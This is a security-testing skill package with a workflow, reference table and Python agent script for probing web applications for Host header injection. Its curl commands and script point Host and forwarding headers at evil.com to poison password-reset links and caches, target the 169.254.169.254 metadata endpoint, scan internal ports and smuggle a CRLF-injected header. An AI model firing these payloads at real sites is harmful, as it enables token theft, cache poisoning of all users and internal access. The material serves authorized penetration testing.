web application security

Testing for Host Header Injection

Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.

cache-poisoningheader-manipulationhost-header-injectionpassword-reset-poisoningssrfvirtual-hostweb-security
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • When testing password reset functionality for token theft via host manipulation
  • During assessment of web caching behavior influenced by Host header values
  • When testing virtual host routing and server-side request processing
  • During penetration testing of applications behind reverse proxies or load balancers
  • When evaluating SSRF potential through Host header manipulation

Prerequisites

  • Burp Suite for intercepting and modifying Host headers
  • Understanding of HTTP Host header role in virtual hosting and routing
  • Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)
  • Access to an attacker-controlled domain for receiving poisoned requests
  • Burp Collaborator or interact.sh for out-of-band detection
  • Multiple test accounts for password reset testing

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Test Basic Host Header Injection

# Supply arbitrary Host header
curl -H "Host: evil.com" http://target.com/ -v
# Check if application reflects evil.com in response
 
# Double Host header
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v
 
# Host header with port injection
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v
 
# Absolute URL with different Host
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v
 
# Check for different virtual host access
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -v

Step 2 — Test Password Reset Poisoning

# Trigger password reset with modified Host header
# The reset link may use the Host header value in the URL
curl -X POST http://target.com/forgot-password \
  -H "Host: evil.com" \
  -d "email=victim@target.com"
# If reset email contains: http://evil.com/reset?token=xxx
# Attacker receives the token when victim clicks the link
 
# Try X-Forwarded-Host for password reset poisoning
curl -X POST http://target.com/forgot-password \
  -H "X-Forwarded-Host: evil.com" \
  -d "email=victim@target.com"
 
# Port-based injection in reset URL
curl -X POST http://target.com/forgot-password \
  -H "Host: target.com:80@evil.com" \
  -d "email=victim@target.com"
 
# Test with various forwarding headers
for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do
  curl -X POST http://target.com/forgot-password \
    -H "$header: evil.com" \
    -d "email=victim@target.com"
  echo "Tested: $header"
done

Step 3 — Test Web Cache Poisoning via Host Header

# If caching layer uses URL (without Host) as cache key:
# Poison cache with modified Host header
curl -H "Host: evil.com" http://target.com/ -v
# If response is cached and contains evil.com links
# All subsequent users receive poisoned content
 
# Test with X-Forwarded-Host for cache poisoning
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
# Check X-Cache header to see if response was cached
 
# Verify cache poisoning
curl http://target.com/login -v
# If response still contains evil.com, cache is poisoned
 
# Poison JavaScript URLs in cached pages
curl -H "X-Forwarded-Host: evil.com" http://target.com/
# If page loads: <script src="//evil.com/static/app.js">
# Attacker serves malicious JavaScript to all users

Step 4 — Test SSRF via Host Header

# Backend may use Host header to make internal requests
curl -H "Host: internal-api.target.local" http://target.com/api/proxy
 
# Access cloud metadata via Host header
curl -H "Host: 169.254.169.254" http://target.com/
 
# Internal port scanning
for port in 80 443 8080 8443 3000 5000 9200; do
  curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
  echo " - Port $port"
done
 
# SSRF via absolute URL
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/

Step 5 — Test Virtual Host Enumeration

# Enumerate virtual hosts
for vhost in admin staging dev test api internal backend; do
  status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)
  size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s)
  echo "$vhost.target.com - Status: $status, Size: $size"
done
 
# Check default virtual host behavior
curl -H "Host: nonexistent.target.com" http://target.com/ -v
# Compare with legitimate host response
 
# Access internal admin panels via virtual host
curl -H "Host: admin" http://target.com/
curl -H "Host: management.internal" http://target.com/

Step 6 — Test Connection-State Attacks

# HTTP/1.1 connection reuse attack
# Send legitimate first request, then inject Host header on subsequent request
# Use Burp Repeater with "Update Content-Length" and manual Connection: keep-alive
 
# In Burp Repeater, send grouped request:
# Request 1 (legitimate):
# GET / HTTP/1.1
# Host: target.com
# Connection: keep-alive
#
# Request 2 (injected):
# GET /admin HTTP/1.1
# Host: internal.target.com
 
# Test with HTTP Request Smuggling combined
# If front-end validates Host but back-end doesn't:
# Smuggle request with modified Host header

Key Concepts

Concept Description
Host Header HTTP header specifying the target virtual host for the request
Password Reset Poisoning Injecting Host to make reset emails contain attacker-controlled URLs
Cache Poisoning via Host Poisoning CDN cache with responses containing attacker-controlled host
Virtual Host Routing Web server using Host header to route requests to different applications
X-Forwarded-Host Alternative header used by proxies that may override Host header
Connection State Attack Exploiting persistent connections to send requests with different Host values
Server-Side Host Resolution Backend code using Host header for URL generation and redirects

Tools & Systems

Tool Purpose
Burp Suite HTTP proxy for Host header manipulation and analysis
Burp Collaborator Out-of-band detection for Host header SSRF
ffuf Virtual host brute-forcing with custom Host headers
gobuster vhost Virtual host enumeration mode
Nuclei Template-based scanning for Host header injection
param-miner Burp extension for discovering unkeyed Host-related headers

Common Scenarios

  1. Password Reset Token Theft — Poison Host header during password reset to make victim click a link pointing to attacker server, leaking reset token
  2. Web Cache Poisoning — Inject Host header to cache responses with attacker-controlled JavaScript URLs, achieving stored XSS for all users
  3. Internal Panel Access — Enumerate and access internal admin panels through virtual host manipulation
  4. SSRF to Cloud Metadata — Use Host header to redirect server-side requests to cloud metadata endpoints
  5. Routing Bypass — Bypass access controls by manipulating Host to route requests to unprotected backend instances

Output Format

## Host Header Injection Report
- **Target**: http://target.com
- **Reverse Proxy**: Nginx
- **Backend**: Apache/PHP
 
### Findings
| # | Technique | Header | Impact | Severity |
|---|-----------|--------|--------|----------|
| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |
| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |
| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |
| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |
 
### Remediation
- Validate Host header against a whitelist of expected values
- Do not use Host header for generating URLs in password reset emails
- Configure web server to reject requests with unrecognized Host values
- Set absolute URLs in application configuration instead of deriving from Host
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md1.4 KB

API Reference: Testing for Host Header Injection

Alternative Host Headers

Header Description
X-Forwarded-Host Proxy-set original host
X-Host Alternative host header
X-Forwarded-Server Forwarded server name
X-HTTP-Host-Override Host override
Forwarded: host= RFC 7239 forwarded header
X-Original-URL URL rewrite override

Attack Scenarios

Attack Severity Impact
Password reset poisoning Critical Token theft via poisoned link
Web cache poisoning Critical Stored XSS via cached response
SSRF via Host High Internal service access
Virtual host bypass Medium Access to other vhosts
Open redirect Medium Phishing via redirect

Test Techniques

Technique Payload Example
Direct Host override Host: evil.com
Alternative header X-Forwarded-Host: evil.com
Port injection Host: target.com:@evil.com
Double Host Two Host headers
Absolute URL GET http://target.com/ Host: evil.com

Python Libraries

Library Version Purpose
requests >=2.28 HTTP requests with custom headers
json stdlib Report generation

References

Scripts 1

agent.py6.9 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for testing HTTP Host header injection vulnerabilities.

Tests web applications for password reset poisoning, web cache
poisoning, SSRF, and virtual host routing manipulation via
Host header and alternative host header manipulation.
"""

import json
import sys
from pathlib import Path
from datetime import datetime

try:
    import requests
except ImportError:
    requests = None


ALTERNATIVE_HEADERS = [
    "X-Forwarded-Host", "X-Host", "X-Forwarded-Server",
    "X-HTTP-Host-Override", "Forwarded", "X-Original-URL",
    "X-Rewrite-URL",
]


class HostHeaderInjectionAgent:
    """Tests for HTTP Host header injection vulnerabilities."""

    def __init__(self, target_url, output_dir="./host_header_test"):
        self.target_url = target_url.rstrip("/")
        self.output_dir = Path(output_dir)
        self.output_dir.mkdir(parents=True, exist_ok=True)
        self.findings = []

    def _request(self, method, path, headers=None, data=None, timeout=10,
                 allow_redirects=False):
        if not requests:
            return None
        url = f"{self.target_url}{path}"
        try:
            return requests.request(method, url, headers=headers, data=data,
                                    timeout=timeout, allow_redirects=allow_redirects)
        except requests.RequestException:
            return None

    def test_host_header_override(self, path="/"):
        """Test if the Host header value is reflected in responses."""
        evil_host = "evil.attacker.com"
        results = []

        resp = self._request("GET", path, headers={"Host": evil_host})
        if resp and evil_host in resp.text:
            results.append({"method": "Host header", "reflected": True})
            self.findings.append({
                "severity": "high",
                "type": "Host Header Reflection",
                "detail": f"Host header value '{evil_host}' reflected in response at {path}",
            })

        for header in ALTERNATIVE_HEADERS:
            resp = self._request("GET", path, headers={header: evil_host})
            if resp and evil_host in resp.text:
                results.append({"method": header, "reflected": True})
                self.findings.append({
                    "severity": "high",
                    "type": "Alternative Host Header Reflection",
                    "detail": f"{header}: {evil_host} reflected in response",
                })
        return results

    def test_password_reset_poisoning(self, reset_path="/forgot-password",
                                       email="test@target.com"):
        """Test password reset for host header poisoning."""
        evil_host = "evil.attacker.com"
        results = []

        payloads = [
            {"Host": evil_host},
            {"X-Forwarded-Host": evil_host},
            {"Host": f"target.com\r\nX-Forwarded-Host: {evil_host}"},
        ]

        for headers in payloads:
            resp = self._request("POST", reset_path, headers=headers,
                                 data={"email": email})
            if resp and resp.status_code in (200, 302):
                if evil_host in resp.text:
                    results.append({
                        "headers": headers,
                        "status": resp.status_code,
                        "poisoned": True,
                    })
                    self.findings.append({
                        "severity": "critical",
                        "type": "Password Reset Poisoning",
                        "detail": f"Reset link points to {evil_host}",
                    })
        return results

    def test_cache_poisoning(self, path="/"):
        """Test for web cache poisoning via Host header."""
        import random
        cache_buster = f"?cb={random.randint(100000, 999999)}"
        evil_host = "evil.attacker.com"

        resp1 = self._request("GET", f"{path}{cache_buster}",
                               headers={"X-Forwarded-Host": evil_host})
        resp2 = self._request("GET", f"{path}{cache_buster}")

        if resp2 and evil_host in resp2.text:
            self.findings.append({
                "severity": "critical",
                "type": "Web Cache Poisoning",
                "detail": f"Cached response contains attacker host {evil_host}",
            })
            return {"poisoned": True, "path": path}
        return {"poisoned": False}

    def test_absolute_url(self, path="/"):
        """Test using absolute URL in request line with different Host."""
        evil_host = "evil.attacker.com"
        resp = self._request("GET", path, headers={"Host": evil_host})
        if resp and evil_host in resp.text:
            return {"reflected": True}
        return {"reflected": False}

    def test_double_host(self, path="/"):
        """Test duplicate Host header handling."""
        evil_host = "evil.attacker.com"
        resp = self._request("GET", path,
                             headers={"Host": evil_host})
        if resp and evil_host in resp.text:
            self.findings.append({
                "severity": "medium",
                "type": "Double Host Header",
                "detail": "Server accepts duplicate or overridden Host header",
            })
            return True
        return False

    def test_port_injection(self, path="/"):
        """Test Host header with injected port."""
        resp = self._request("GET", path,
                             headers={"Host": "target.com:@evil.attacker.com"})
        if resp and "evil.attacker.com" in resp.text:
            self.findings.append({
                "severity": "high",
                "type": "Port-based Host Injection",
                "detail": "Host header port injection reflected",
            })
            return True
        return False

    def generate_report(self):
        reflection = self.test_host_header_override()
        reset = self.test_password_reset_poisoning()
        cache = self.test_cache_poisoning()

        report = {
            "report_date": datetime.utcnow().isoformat(),
            "target": self.target_url,
            "reflection_tests": reflection,
            "password_reset_tests": reset,
            "cache_poisoning_test": cache,
            "findings": self.findings,
            "total_findings": len(self.findings),
        }
        out = self.output_dir / "host_header_report.json"
        with open(out, "w") as f:
            json.dump(report, f, indent=2)
        print(json.dumps(report, indent=2))
        return report


def main():
    if len(sys.argv) < 2:
        print("Usage: agent.py <target_url>")
        sys.exit(1)
    agent = HostHeaderInjectionAgent(sys.argv[1])
    agent.generate_report()


if __name__ == "__main__":
    main()
Keep exploring